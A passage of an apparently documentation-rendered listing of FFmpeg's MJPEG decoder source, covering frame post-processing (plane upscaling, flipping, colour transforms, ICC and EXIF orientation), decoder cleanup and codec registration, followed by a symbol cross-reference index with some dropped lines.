2718 int p;
2720 avctx->pix_fmt == AV_PIX_FMT_YUV444P ||
2721 avctx->pix_fmt == AV_PIX_FMT_YUVJ422P ||
2722 avctx->pix_fmt == AV_PIX_FMT_YUV422P ||
2723 avctx->pix_fmt == AV_PIX_FMT_YUVJ420P ||
2724 avctx->pix_fmt == AV_PIX_FMT_YUV420P ||
2725 avctx->pix_fmt == AV_PIX_FMT_YUV440P ||
2726 avctx->pix_fmt == AV_PIX_FMT_YUVJ440P ||
2727 avctx->pix_fmt == AV_PIX_FMT_YUVA444P ||
2728 avctx->pix_fmt == AV_PIX_FMT_YUVA420P ||
2729 avctx->pix_fmt == AV_PIX_FMT_YUVA420P16||
2730 avctx->pix_fmt == AV_PIX_FMT_GBRP ||
2731 avctx->pix_fmt == AV_PIX_FMT_GBRAP
2732 );
2733 ret = av_pix_fmt_get_chroma_sub_sample(s->avctx->pix_fmt, &hshift, &vshift);
2734 if (ret)
2735 return ret;
2736
2737 av_assert0(s->nb_components == av_pix_fmt_count_planes(s->picture_ptr->format));
2738 for (p = 0; p < s->nb_components; p++) {
2739 uint8_t *dst;
2740 int w = s->width;
2741 int h = s->height;
2742 if (!s->upscale_v[p])
2743 continue;
2744 if (p==1 || p==2) {
2745 w = AV_CEIL_RSHIFT(w, hshift);
2746 h = AV_CEIL_RSHIFT(h, vshift);
2747 }
2748 dst = &((uint8_t *)s->picture_ptr->data[p])[(h - 1) * s->linesize[p]];
2749 for (i = h - 1; i; i--) {
2750 uint8_t *src1 = &((uint8_t *)s->picture_ptr->data[p])[i * s->upscale_v[p] / (s->upscale_v[p] + 1) * s->linesize[p]];
2751 uint8_t *src2 = &((uint8_t *)s->picture_ptr->data[p])[(i + 1) * s->upscale_v[p] / (s->upscale_v[p] + 1) * s->linesize[p]];
2752 if (s->upscale_v[p] != 2 && (src1 == src2 || i == h - 1)) {
2753 memcpy(dst, src1, w);
2754 } else {
2755 for (index = 0; index < w; index++)
2756 dst[index] = (src1[index] + src2[index]) >> 1;
2757 }
2758 dst -= s->linesize[p];
2759 }
2760 }
2761 }
2762 if (s->flipped && !s->rgb) {
2763 int j;
2764 ret = av_pix_fmt_get_chroma_sub_sample(s->avctx->pix_fmt, &hshift, &vshift);
2765 if (ret)
2766 return ret;
2767
2768 av_assert0(s->nb_components == av_pix_fmt_count_planes(s->picture_ptr->format));
2769 for (index=0; index<s->nb_components; index++) {
2770 uint8_t *dst = s->picture_ptr->data[index];
2771 int w = s->picture_ptr->width;
2772 int h = s->picture_ptr->height;
2773 if(index && index<3){
2774 w = AV_CEIL_RSHIFT(w, hshift);
2775 h = AV_CEIL_RSHIFT(h, vshift);
2776 }
2777 if(dst){
2778 uint8_t *dst2 = dst + s->picture_ptr->linesize[index]*(h-1);
2779 for (i=0; i<h/2; i++) {
2780 for (j=0; j<w; j++)
2781 FFSWAP(int, dst[j], dst2[j]);
2782 dst += s->picture_ptr->linesize[index];
2783 dst2 -= s->picture_ptr->linesize[index];
2784 }
2785 }
2786 }
2787 }
2788 if (s->adobe_transform == 0 && s->avctx->pix_fmt == AV_PIX_FMT_GBRAP) {
2789 int w = s->picture_ptr->width;
2790 int h = s->picture_ptr->height;
2791 av_assert0(s->nb_components == 4);
2792 for (i=0; i<h; i++) {
2793 int j;
2794 uint8_t *dst[4];
2795 for (index=0; index<4; index++) {
2796 dst[index] = s->picture_ptr->data[index]
2797 + s->picture_ptr->linesize[index]*i;
2798 }
2799 for (j=0; j<w; j++) {
2800 int k = dst[3][j];
2801 int r = dst[0][j] * k;
2802 int g = dst[1][j] * k;
2803 int b = dst[2][j] * k;
2804 dst[0][j] = g*257 >> 16;
2805 dst[1][j] = b*257 >> 16;
2806 dst[2][j] = r*257 >> 16;
2807 dst[3][j] = 255;
2808 }
2809 }
2810 }
2811 if (s->adobe_transform == 2 && s->avctx->pix_fmt == AV_PIX_FMT_YUVA444P) {
2812 int w = s->picture_ptr->width;
2813 int h = s->picture_ptr->height;
2814 av_assert0(s->nb_components == 4);
2815 for (i=0; i<h; i++) {
2816 int j;
2817 uint8_t *dst[4];
2818 for (index=0; index<4; index++) {
2819 dst[index] = s->picture_ptr->data[index]
2820 + s->picture_ptr->linesize[index]*i;
2821 }
2822 for (j=0; j<w; j++) {
2823 int k = dst[3][j];
2824 int r = (255 - dst[0][j]) * k;
2825 int g = (128 - dst[1][j]) * k;
2826 int b = (128 - dst[2][j]) * k;
2827 dst[0][j] = r*257 >> 16;
2828 dst[1][j] = (g*257 >> 16) + 128;
2829 dst[2][j] = (b*257 >> 16) + 128;
2830 dst[3][j] = 255;
2831 }
2832 }
2833 }
2834
2835 if (s->stereo3d) {
2837 if (stereo) {
2838 stereo->type = s->stereo3d->type;
2839 stereo->flags = s->stereo3d->flags;
2840 }
2841 av_freep(&s->stereo3d);
2842 }
2843
2844 if (s->iccnum != 0 && s->iccnum == s->iccread) {
2845 AVFrameSideData *sd;
2846 size_t offset = 0;
2847 int total_size = 0;
2848 int i;
2849
2850 /* Sum size of all parts. */
2851 for (i = 0; i < s->iccnum; i++)
2852 total_size += s->iccentries[i].length;
2853
2855 if (!sd) {
2856 av_log(s->avctx, AV_LOG_ERROR, "Could not allocate frame side data\n");
2857 return AVERROR(ENOMEM);
2858 }
2859
2860 /* Reassemble the parts, which are now in-order. */
2861 for (i = 0; i < s->iccnum; i++) {
2862 memcpy(sd->data + offset, s->iccentries[i].data, s->iccentries[i].length);
2863 offset += s->iccentries[i].length;
2864 }
2865 }
2866
2867 if (e = av_dict_get(s->exif_metadata, "Orientation", e, AV_DICT_IGNORE_SUFFIX)) {
2868 char *value = e->value + strspn(e->value, " \n\t\r"), *endptr;
2869 int orientation = strtol(value, &endptr, 0);
2870
2871 if (!*endptr) {
2872 AVFrameSideData *sd = NULL;
2873
2874 if (orientation >= 2 && orientation <= 8) {
2875 int32_t *matrix;
2876
2878 if (!sd) {
2879 av_log(s->avctx, AV_LOG_ERROR, "Could not allocate frame side data\n");
2880 return AVERROR(ENOMEM);
2881 }
2882
2883 matrix = (int32_t *)sd->data;
2884
2885 switch (orientation) {
2886 case 2:
2887 av_display_rotation_set(matrix, 0.0);
2888 av_display_matrix_flip(matrix, 1, 0);
2889 break;
2890 case 3:
2891 av_display_rotation_set(matrix, 180.0);
2892 break;
2893 case 4:
2894 av_display_rotation_set(matrix, 180.0);
2895 av_display_matrix_flip(matrix, 1, 0);
2896 break;
2897 case 5:
2898 av_display_rotation_set(matrix, 90.0);
2899 av_display_matrix_flip(matrix, 1, 0);
2900 break;
2901 case 6:
2902 av_display_rotation_set(matrix, 90.0);
2903 break;
2904 case 7:
2905 av_display_rotation_set(matrix, -90.0);
2906 av_display_matrix_flip(matrix, 1, 0);
2907 break;
2908 case 8:
2909 av_display_rotation_set(matrix, -90.0);
2910 break;
2911 default:
2912 av_assert0(0);
2913 }
2914 }
2915 }
2916 }
2917
2918 av_dict_copy(&frame->metadata, s->exif_metadata, 0);
2919 av_dict_free(&s->exif_metadata);
2920
2921 if (avctx->codec_id == AV_CODEC_ID_SMVJPEG) {
2922 ret = smv_process_frame(avctx, frame);
2923 if (ret < 0) {
2925 return ret;
2926 }
2927 }
2928 if ((avctx->codec_tag == MKTAG('A', 'V', 'R', 'n') ||
2929 avctx->codec_tag == MKTAG('A', 'V', 'D', 'J')) &&
2930 avctx->coded_height > s->orig_height) {
2931 frame->height = AV_CEIL_RSHIFT(avctx->coded_height, avctx->lowres);
2932 frame->crop_top = frame->height - avctx->height;
2933 }
2934
2935 ret = 0;
2936
2937 the_end_no_picture:
2938 av_log(avctx, AV_LOG_DEBUG, "decode frame unused %"PTRDIFF_SPECIFIER" bytes\n",
2939 buf_end - buf_ptr);
2940
2941 return ret;
2942 }
2943
2944 /* mxpeg may call the following function (with a blank MJpegDecodeContext)
2945 * even without having called ff_mjpeg_decode_init(). */
2947 {
2948 MJpegDecodeContext *s = avctx->priv_data;
2949 int i, j;
2950
2951 if (s->interlaced && s->bottom_field == !s->interlace_polarity && s->got_picture && !avctx->frame_number) {
2952 av_log(avctx, AV_LOG_INFO, "Single field\n");
2953 }
2954
2955 if (s->picture) {
2956 av_frame_free(&s->picture);
2957 s->picture_ptr = NULL;
2958 } else if (s->picture_ptr)
2959 av_frame_unref(s->picture_ptr);
2960
2961 av_frame_free(&s->smv_frame);
2962
2963 av_freep(&s->buffer);
2964 av_freep(&s->stereo3d);
2965 av_freep(&s->ljpeg_buffer);
2966 s->ljpeg_buffer_size = 0;
2967
2968 for (i = 0; i < 3; i++) {
2969 for (j = 0; j < 4; j++)
2970 ff_free_vlc(&s->vlcs[i][j]);
2971 }
2972 for (i = 0; i < MAX_COMPONENTS; i++) {
2973 av_freep(&s->blocks[i]);
2974 av_freep(&s->last_nnz[i]);
2975 }
2976 av_dict_free(&s->exif_metadata);
2977
2979
2980 av_freep(&s->hwaccel_picture_private);
2981 av_freep(&s->jls_state);
2982
2983 return 0;
2984 }
2985
2986 static void decode_flush(AVCodecContext *avctx)
2987 {
2988 MJpegDecodeContext *s = avctx->priv_data;
2989 s->got_picture = 0;
2990
2991 s->smv_next_frame = 0;
2992 av_frame_unref(s->smv_frame);
2993 }
2994
2995 #if CONFIG_MJPEG_DECODER
2996 #define OFFSET(x) offsetof(MJpegDecodeContext, x)
2997 #define VD AV_OPT_FLAG_VIDEO_PARAM | AV_OPT_FLAG_DECODING_PARAM
2998 static const AVOption options[] = {
2999 { "extern_huff", "Use external huffman table.",
3000 OFFSET(extern_huff), AV_OPT_TYPE_BOOL, { .i64 = 0 }, 0, 1, VD },
3001 { NULL },
3002 };
3003
3004 static const AVClass mjpegdec_class = {
3005 .class_name = "MJPEG decoder",
3006 .item_name = av_default_item_name,
3007 .option = options,
3008 .version = LIBAVUTIL_VERSION_INT,
3009 };
3010
3011 const AVCodec ff_mjpeg_decoder = {
3012 .name = "mjpeg",
3013 .long_name = NULL_IF_CONFIG_SMALL("MJPEG (Motion JPEG)"),
3014 .type = AVMEDIA_TYPE_VIDEO,
3015 .id = AV_CODEC_ID_MJPEG,
3016 .priv_data_size = sizeof(MJpegDecodeContext),
3018 .close = ff_mjpeg_decode_end,
3020 .flush = decode_flush,
3021 .capabilities = AV_CODEC_CAP_DR1,
3022 .max_lowres = 3,
3023 .priv_class = &mjpegdec_class,
3027 .hw_configs = (const AVCodecHWConfigInternal *const []) {
3028 #if CONFIG_MJPEG_NVDEC_HWACCEL
3029 HWACCEL_NVDEC(mjpeg),
3030 #endif
3031 #if CONFIG_MJPEG_VAAPI_HWACCEL
3032 HWACCEL_VAAPI(mjpeg),
3033 #endif
3034 NULL
3035 },
3036 };
3037 #endif
3038 #if CONFIG_THP_DECODER
3039 const AVCodec ff_thp_decoder = {
3040 .name = "thp",
3041 .long_name = NULL_IF_CONFIG_SMALL("Nintendo Gamecube THP video"),
3042 .type = AVMEDIA_TYPE_VIDEO,
3043 .id = AV_CODEC_ID_THP,
3044 .priv_data_size = sizeof(MJpegDecodeContext),
3046 .close = ff_mjpeg_decode_end,
3048 .flush = decode_flush,
3049 .capabilities = AV_CODEC_CAP_DR1,
3050 .max_lowres = 3,
3053 };
3054 #endif
3055
3056 #if CONFIG_SMVJPEG_DECODER
3057 const AVCodec ff_smvjpeg_decoder = {
3058 .name = "smvjpeg",
3059 .long_name = NULL_IF_CONFIG_SMALL("SMV JPEG"),
3060 .type = AVMEDIA_TYPE_VIDEO,
3061 .id = AV_CODEC_ID_SMVJPEG,
3062 .priv_data_size = sizeof(MJpegDecodeContext),
3064 .close = ff_mjpeg_decode_end,
3066 .flush = decode_flush,
3067 .capabilities = AV_CODEC_CAP_DR1,
3070 };
3071 #endif
FF_ALLOCZ_TYPED_ARRAY
#define FF_ALLOCZ_TYPED_ARRAY(p, nelem)
Definition: internal.h:98
hwconfig.h
av_packet_unref
void av_packet_unref(AVPacket *pkt)
Wipe the packet.
Definition: avpacket.c:424
AVCodecContext::hwaccel
const struct AVHWAccel * hwaccel
Hardware accelerator in use.
Definition: avcodec.h:1359
AVCodec
AVCodec.
Definition: codec.h:202
skip_bits_long
static void skip_bits_long(GetBitContext *s, int n)
Skips the specified number of bits.
Definition: get_bits.h:292
ff_decode_get_packet
int ff_decode_get_packet(AVCodecContext *avctx, AVPacket *pkt)
Called by decoders to get the next packet for decoding.
Definition: decode.c:224
AV_LOG_WARNING
#define AV_LOG_WARNING
Something somehow does not look correct.
Definition: log.h:186
FF_CODEC_CAP_INIT_THREADSAFE
#define FF_CODEC_CAP_INIT_THREADSAFE
The codec does not modify any global variables in the init function, allowing to call the init functi...
Definition: internal.h:42
AV_PIX_FMT_CUDA
@ AV_PIX_FMT_CUDA
HW acceleration through CUDA.
Definition: pixfmt.h:225
ff_init_scantable
av_cold void ff_init_scantable(uint8_t *permutation, ScanTable *st, const uint8_t *src_scantable)
Definition: idctdsp.c:29
AVPixelFormat
AVPixelFormat
Pixel format.
Definition: pixfmt.h:64
jpegtables.h
FF_CODEC_CAP_SETS_PKT_DTS
#define FF_CODEC_CAP_SETS_PKT_DTS
Decoders marked with FF_CODEC_CAP_SETS_PKT_DTS want to set AVFrame.pkt_dts manually.
Definition: internal.h:57
mjpeg.h
level
uint8_t level
Definition: svq3.c:204
show_bits_long
static unsigned int show_bits_long(GetBitContext *s, int n)
Show 0-32 bits.
Definition: get_bits.h:603
blockdsp.h
get_bits_left
static int get_bits_left(GetBitContext *gb)
Definition: get_bits.h:850
r
const char * r
Definition: vf_curves.c:116
AVERROR
Filter the word “frame” indicates either a video frame or a group of audio as stored in an AVFrame structure Format for each input and each output the list of supported formats For video that means pixel format For audio that means channel sample they are references to shared objects When the negotiation mechanism computes the intersection of the formats supported at each end of a all references to both lists are replaced with a reference to the intersection And when a single format is eventually chosen for a link amongst the remaining all references to the list are updated That means that if a filter requires that its input and output have the same format amongst a supported all it has to do is use a reference to the same list of formats query_formats can leave some formats unset and return AVERROR(EAGAIN) to cause the negotiation mechanism toagain later. That can be used by filters with complex requirements to use the format negotiated on one link to set the formats supported on another. Frame references ownership and permissions
opt.h
AVCodecContext::colorspace
enum AVColorSpace colorspace
YUV colorspace type.
Definition: avcodec.h:960
ff_get_format
int ff_get_format(AVCodecContext *avctx, const enum AVPixelFormat *fmt)
Select the (possibly hardware accelerated) pixel format.
Definition: decode.c:1089
out
FILE * out
Definition: movenc.c:54
SOS
@ SOS
Definition: mjpeg.h:72
mjpeg_copy_block
static av_always_inline void mjpeg_copy_block(MJpegDecodeContext *s, uint8_t *dst, const uint8_t *src, int linesize, int lowres)
Definition: mjpegdec.c:1391
is
The official guide to swscale for confused that is
Definition: swscale.txt:28
SOF48
@ SOF48
JPEG-LS.
Definition: mjpeg.h:103
av_frame_new_side_data
AVFrameSideData * av_frame_new_side_data(AVFrame *frame, enum AVFrameSideDataType type, size_t size)
Add a new side data to a frame.
Definition: frame.c:605
GetByteContext
Definition: bytestream.h:33
APP1
@ APP1
Definition: mjpeg.h:80
decode_flush
static void decode_flush(AVCodecContext *avctx)
Definition: mjpegdec.c:2986
av_pix_fmt_desc_get
const AVPixFmtDescriptor * av_pix_fmt_desc_get(enum AVPixelFormat pix_fmt)
Definition: pixdesc.c:2660
ZERO_RUN
#define ZERO_RUN
Definition: mjpegdec.c:953
SOF0
@ SOF0
Definition: mjpeg.h:39
AVCodecContext::err_recognition
int err_recognition
Error recognition; may misdetect some more or less valid parts as errors.
Definition: avcodec.h:1324
GET_VLC
#define GET_VLC(code, name, gb, table, bits, max_depth)
If the vlc code is invalid and max_depth=1, then no bits will be removed.
Definition: get_bits.h:707
get_bits_long
static unsigned int get_bits_long(GetBitContext *s, int n)
Read 0-32 bits.
Definition: get_bits.h:547
init_put_bits
static void init_put_bits(PutBitContext *s, uint8_t *buffer, int buffer_size)
Initialize the PutBitContext s.
Definition: put_bits.h:61
se
#define se(name, range_min, range_max)
Definition: cbs_h2645.c:275
get_bits_count
static int get_bits_count(const GetBitContext *s)
Definition: get_bits.h:220
init_idct
static void init_idct(AVCodecContext *avctx)
Definition: mjpegdec.c:109
RST7
@ RST7
Definition: mjpeg.h:68
av_frame_free
void av_frame_free(AVFrame **frame)
Free the frame and any dynamically allocated objects in it, e.g.
Definition: frame.c:109
mjpegdec.h
start_code
static const uint8_t start_code[]
Definition: videotoolboxenc.c:192
bytestream2_seek
static av_always_inline int bytestream2_seek(GetByteContext *g, int offset, int whence)
Definition: bytestream.h:212
AVFrame
This structure describes decoded (raw) audio or video data.
Definition: frame.h:317
put_bits
static void put_bits(Jpeg2000EncoderContext *s, int val, int n)
put n times val bit
Definition: j2kenc.c:220
index
fg index
Definition: ffmpeg_filter.c:167
AVFrame::width
int width
Definition: frame.h:389
AV_PIX_FMT_YUVA420P16
#define AV_PIX_FMT_YUVA420P16
Definition: pixfmt.h:446
w
uint8_t w
Definition: llviddspenc.c:38
AVCOL_RANGE_JPEG
@ AVCOL_RANGE_JPEG
Full range content.
Definition: pixfmt.h:597
FF_PROFILE_MJPEG_JPEG_LS
#define FF_PROFILE_MJPEG_JPEG_LS
Definition: avcodec.h:1629
smv_process_frame
static int smv_process_frame(AVCodecContext *avctx, AVFrame *frame)
Definition: mjpegdec.c:2339
av_display_matrix_flip
void av_display_matrix_flip(int32_t matrix[9], int hflip, int vflip)
Flip the input matrix horizontally and/or vertically.
Definition: display.c:65
internal.h
SOF11
@ SOF11
Definition: mjpeg.h:50
AVCodecContext::field_order
enum AVFieldOrder field_order
Field order.
Definition: avcodec.h:989
AVOption
AVOption.
Definition: opt.h:247
b
#define b
Definition: input.c:40
mjpeg_decode_dc
static int mjpeg_decode_dc(MJpegDecodeContext *s, int dc_index)
Definition: mjpegdec.c:787
jpeglsdec.h
data
const char data[16]
Definition: mxf.c:143
AVComponentDescriptor::step
int step
Number of elements between 2 horizontally consecutive pixels.
Definition: pixdesc.h:40
AV_DICT_IGNORE_SUFFIX
#define AV_DICT_IGNORE_SUFFIX
Return first entry in a dictionary whose first part corresponds to the search key,...
Definition: dict.h:68
ff_mjpeg_val_dc
const uint8_t ff_mjpeg_val_dc[]
Definition: jpegtabs.h:34
get_vlc2
static av_always_inline int get_vlc2(GetBitContext *s, VLC_TYPE(*table)[2], int bits, int max_depth)
Parse a vlc code.
Definition: get_bits.h:798
mjpeg_get_packet
static int mjpeg_get_packet(AVCodecContext *avctx)
Definition: mjpegdec.c:2373
AV_PIX_FMT_BGR24
@ AV_PIX_FMT_BGR24
packed RGB 8:8:8, 24bpp, BGRBGR...
Definition: pixfmt.h:69
av_display_rotation_set
void av_display_rotation_set(int32_t matrix[9], double angle)
Initialize a transformation matrix describing a pure clockwise rotation by the specified angle (in de...
Definition: display.c:50
AV_FRAME_DATA_DISPLAYMATRIX
@ AV_FRAME_DATA_DISPLAYMATRIX
This side data contains a 3x3 transformation matrix describing an affine transformation that needs to...
Definition: frame.h:84
AV_PIX_FMT_YUV440P
@ AV_PIX_FMT_YUV440P
planar YUV 4:4:0 (1 Cr & Cb sample per 1x2 Y samples)
Definition: pixfmt.h:99
UPDATE_CACHE
#define UPDATE_CACHE(name, gb)
Definition: get_bits.h:179
FFMAX
#define FFMAX(a, b)
Definition: macros.h:47
ff_mjpeg_bits_ac_chrominance
const uint8_t ff_mjpeg_bits_ac_chrominance[]
Definition: jpegtabs.h:66
AV_CODEC_ID_THP
@ AV_CODEC_ID_THP
Definition: codec_id.h:150
init_get_bits
static int init_get_bits(GetBitContext *s, const uint8_t *buffer, int bit_size)
Initialize GetBitContext.
Definition: get_bits.h:660
FF_DEBUG_PICT_INFO
#define FF_DEBUG_PICT_INFO
Definition: avcodec.h:1303
AVFrame::data
uint8_t * data[AV_NUM_DATA_POINTERS]
pointer to the picture/channel planes.
Definition: frame.h:338
av_malloc
#define av_malloc(s)
Definition: tableprint_vlc.h:31
APP15
@ APP15
Definition: mjpeg.h:94
init
static int init
Definition: av_tx.c:47
GET_CACHE
#define GET_CACHE(name, gb)
Definition: get_bits.h:216
skip_bits
static void skip_bits(GetBitContext *s, int n)
Definition: get_bits.h:468
AV_STEREO3D_SIDEBYSIDE
@ AV_STEREO3D_SIDEBYSIDE
Views are next to each other.
Definition: stereo3d.h:67
av_pix_fmt_count_planes
int av_pix_fmt_count_planes(enum AVPixelFormat pix_fmt)
Definition: pixdesc.c:2700
AVCOL_SPC_BT470BG
@ AVCOL_SPC_BT470BG
also ITU-R BT601-6 625 / ITU-R BT1358 625 / ITU-R BT1700 625 PAL & SECAM / IEC 61966-2-4 xvYCC601
Definition: pixfmt.h:529
get_bits
static unsigned int get_bits(GetBitContext *s, int n)
Read 1-25 bits.
Definition: get_bits.h:380
rgb
Definition: rpzaenc.c:59
ff_mjpeg_decode_dht
int ff_mjpeg_decode_dht(MJpegDecodeContext *s)
Definition: mjpegdec.c:237
ljpeg_decode_yuv_scan
static int ljpeg_decode_yuv_scan(MJpegDecodeContext *s, int predictor, int point_transform, int nb_components)
Definition: mjpegdec.c:1237
shift_output
static void shift_output(MJpegDecodeContext *s, uint8_t *ptr, int linesize)
Definition: mjpegdec.c:1407
AV_PIX_FMT_GBRAP
@ AV_PIX_FMT_GBRAP
planar GBRA 4:4:4:4 32bpp
Definition: pixfmt.h:205
AVCodecContext::codec
const struct AVCodec * codec
Definition: avcodec.h:392
ff_mjpeg_decode_init
av_cold int ff_mjpeg_decode_init(AVCodecContext *avctx)
Definition: mjpegdec.c:118
AVCodecContext::skip_frame
enum AVDiscard skip_frame
Skip decoding for selected frames.
Definition: avcodec.h:1673
fail
#define fail()
Definition: checkasm.h:127
AV_STEREO3D_2D
@ AV_STEREO3D_2D
Video is not stereoscopic (and metadata has to be there).
Definition: stereo3d.h:55
AV_PIX_FMT_YUVA444P16
#define AV_PIX_FMT_YUVA444P16
Definition: pixfmt.h:448
SOF3
@ SOF3
Definition: mjpeg.h:42
FF_PROFILE_MJPEG_HUFFMAN_BASELINE_DCT
#define FF_PROFILE_MJPEG_HUFFMAN_BASELINE_DCT
Definition: avcodec.h:1625
GetBitContext
Definition: get_bits.h:62
mjpeg_decode_com
static int mjpeg_decode_com(MJpegDecodeContext *s)
Definition: mjpegdec.c:2138
init_default_huffman_tables
static int init_default_huffman_tables(MJpegDecodeContext *s)
Definition: mjpegdec.c:55
AVCodecContext::flags
int flags
AV_CODEC_FLAG_*.
Definition: avcodec.h:463
val
static double val(void *priv, double ch)
Definition: aeval.c:76
av_pix_fmt_get_chroma_sub_sample
int av_pix_fmt_get_chroma_sub_sample(enum AVPixelFormat pix_fmt, int *h_shift, int *v_shift)
Utility function to access log2_chroma_w log2_chroma_h from the pixel format AVPixFmtDescriptor.
Definition: pixdesc.c:2688
type
it s the only field you need to keep assuming you have a context There is some magic you don t need to care about around this just let it vf type
Definition: writing_filters.txt:86
AVCodecContext::coded_height
int coded_height
Definition: avcodec.h:571
AV_PIX_FMT_GRAY16
#define AV_PIX_FMT_GRAY16
Definition: pixfmt.h:388
ff_sp5x_process_packet
int ff_sp5x_process_packet(AVCodecContext *avctx, AVPacket *avpkt)
Definition: sp5xdec.c:33
ss
#define ss(width, name, subs,...)
Definition: cbs_vp9.c:261
FF_CODEC_CAP_SKIP_FRAME_FILL_PARAM
#define FF_CODEC_CAP_SKIP_FRAME_FILL_PARAM
The decoder extracts and fills its parameters even if the frame is skipped due to the skip_frame sett...
Definition: internal.h:62
av_frame_alloc
AVFrame * av_frame_alloc(void)
Allocate an AVFrame and set its fields to default values.
Definition: frame.c:97
av_bswap32
#define av_bswap32
Definition: bswap.h:33
AV_PIX_FMT_YUVJ411P
@ AV_PIX_FMT_YUVJ411P
planar YUV 4:1:1, 12bpp, (1 Cr & Cb sample per 4x1 Y samples) full scale (JPEG), deprecated in favor ...
Definition: pixfmt.h:248
ff_mjpeg_profiles
const AVProfile ff_mjpeg_profiles[]
Definition: profiles.c:169
ff_exif_decode_ifd
int ff_exif_decode_ifd(void *logctx, GetByteContext *gbytes, int le, int depth, AVDictionary **metadata)
Definition: exif.c:115
aligned
static int aligned(int val)
Definition: dashdec.c:169
avassert.h
AV_LOG_ERROR
#define AV_LOG_ERROR
Something went wrong and cannot losslessly be recovered.
Definition: log.h:180
FF_ARRAY_ELEMS
#define FF_ARRAY_ELEMS(a)
Definition: sinewin_tablegen.c:29
av_cold
#define av_cold
Definition: attributes.h:90
decode_dc_progressive
static int decode_dc_progressive(MJpegDecodeContext *s, int16_t *block, int component, int dc_index, uint16_t *quant_matrix, int Al)
Definition: mjpegdec.c:854
AV_PIX_FMT_YUV422P16
#define AV_PIX_FMT_YUV422P16
Definition: pixfmt.h:416
init_get_bits8
static int init_get_bits8(GetBitContext *s, const uint8_t *buffer, int byte_size)
Initialize GetBitContext.
Definition: get_bits.h:678
FF_CODEC_PROPERTY_LOSSLESS
#define FF_CODEC_PROPERTY_LOSSLESS
Definition: avcodec.h:1823
COM
@ COM
Definition: mjpeg.h:111
FF_PROFILE_MJPEG_HUFFMAN_PROGRESSIVE_DCT
#define FF_PROFILE_MJPEG_HUFFMAN_PROGRESSIVE_DCT
Definition: avcodec.h:1627
mask
static const uint16_t mask[17]
Definition: lzw.c:38
av_dict_get
AVDictionaryEntry * av_dict_get(const AVDictionary *m, const char *key, const AVDictionaryEntry *prev, int flags)
Get a dictionary entry with matching key.
Definition: dict.c:40
handle_rstn
static int handle_rstn(MJpegDecodeContext *s, int nb_components)
Definition: mjpegdec.c:1036
AV_PIX_FMT_YUVJ422P
@ AV_PIX_FMT_YUVJ422P
planar YUV 4:2:2, 16bpp, full scale (JPEG), deprecated in favor of AV_PIX_FMT_YUV422P and setting col...
Definition: pixfmt.h:79
CLOSE_READER
#define CLOSE_READER(name, gb)
Definition: get_bits.h:150
SOF5
@ SOF5
Definition: mjpeg.h:44
AVCodecContext::extradata_size
int extradata_size
Definition: avcodec.h:485
width
#define width
AV_STEREO3D_LINES
@ AV_STEREO3D_LINES
Views are packed per line, as if interlaced.
Definition: stereo3d.h:129
s
#define s(width, name)
Definition: cbs_vp9.c:257
AV_PIX_FMT_YUVA420P
@ AV_PIX_FMT_YUVA420P
planar YUV 4:2:0, 20bpp, (1 Cr & Cb sample per 2x2 Y & A samples)
Definition: pixfmt.h:101
parse_avid
static void parse_avid(MJpegDecodeContext *s, uint8_t *buf, int len)
Definition: mjpegdec.c:98
AV_PIX_FMT_YUV444P16
#define AV_PIX_FMT_YUV444P16
Definition: pixfmt.h:417
AV_CEIL_RSHIFT
#define AV_CEIL_RSHIFT(a, b)
Definition: common.h:51
FF_PROFILE_MJPEG_HUFFMAN_LOSSLESS
#define FF_PROFILE_MJPEG_HUFFMAN_LOSSLESS
Definition: avcodec.h:1628
g
const char * g
Definition: vf_curves.c:117
APP3
@ APP3
Definition: mjpeg.h:82
AV_GET_BUFFER_FLAG_REF
#define AV_GET_BUFFER_FLAG_REF
The decoder will keep a reference to the frame and may reuse it later.
Definition: avcodec.h:361
ff_jpegls_decode_picture
int ff_jpegls_decode_picture(MJpegDecodeContext *s, int near, int point_transform, int ilv)
Definition: jpeglsdec.c:355
bits
uint8_t bits
Definition: vp3data.h:141
av_assert0
#define av_assert0(cond)
assert() equivalent, that is always enabled.
Definition: avassert.h:37
pix_fmts
static enum AVPixelFormat pix_fmts[]
Definition: libkvazaar.c:296
AV_FIELD_UNKNOWN
@ AV_FIELD_UNKNOWN
Definition: codec_par.h:37
AV_LOG_DEBUG
#define AV_LOG_DEBUG
Stuff which is only useful for libav* developers.
Definition: log.h:201
AV_PIX_FMT_GBR24P
@ AV_PIX_FMT_GBR24P
Definition: pixfmt.h:159
AV_PIX_FMT_YUV420P16
#define AV_PIX_FMT_YUV420P16
Definition: pixfmt.h:415
ff_thp_decoder
const AVCodec ff_thp_decoder
RST0
@ RST0
Definition: mjpeg.h:61
decode.h
reset_icc_profile
static void reset_icc_profile(MJpegDecodeContext *s)
Definition: mjpegdec.c:2323
ff_mjpeg_decode_end
av_cold int ff_mjpeg_decode_end(AVCodecContext *avctx)
Definition: mjpegdec.c:2946
ff_free_vlc
void ff_free_vlc(VLC *vlc)
Definition: bitstream.c:431
AV_PIX_FMT_YUV420P
@ AV_PIX_FMT_YUV420P
planar YUV 4:2:0, 12bpp, (1 Cr & Cb sample per 2x2 Y samples)
Definition: pixfmt.h:66
PutBitContext
Definition: put_bits.h:49
AV_PIX_FMT_YUVJ444P
@ AV_PIX_FMT_YUVJ444P
planar YUV 4:4:4, 24bpp, full scale (JPEG), deprecated in favor of AV_PIX_FMT_YUV444P and setting col...
Definition: pixfmt.h:80
ff_hpeldsp_init
av_cold void ff_hpeldsp_init(HpelDSPContext *c, int flags)
Definition: hpeldsp.c:338
AVCodecContext::codec_id
enum AVCodecID codec_id
Definition: avcodec.h:393
AVStereo3D::flags
int flags
Additional information about the frame packing.
Definition: stereo3d.h:185
if
if(ret)
Definition: filter_design.txt:179
ff_mjpeg_receive_frame
int ff_mjpeg_receive_frame(AVCodecContext *avctx, AVFrame *frame)
Definition: mjpegdec.c:2397
AVDISCARD_ALL
@ AVDISCARD_ALL
discard all
Definition: defs.h:54
AV_PIX_FMT_GBRP16
#define AV_PIX_FMT_GBRP16
Definition: pixfmt.h:423
AV_PIX_FMT_RGBA64
#define AV_PIX_FMT_RGBA64
Definition: pixfmt.h:394
LIBAVUTIL_VERSION_INT
#define LIBAVUTIL_VERSION_INT
Definition: version.h:85
AV_CODEC_ID_SP5X
@ AV_CODEC_ID_SP5X
Definition: codec_id.h:60
AVClass
Describe the class of an AVClass context structure.
Definition: log.h:66
av_clip_int16
#define av_clip_int16
Definition: common.h:111
PTRDIFF_SPECIFIER
#define PTRDIFF_SPECIFIER
Definition: internal.h:192
ff_smvjpeg_decoder
const AVCodec ff_smvjpeg_decoder
AV_PIX_FMT_BGR48
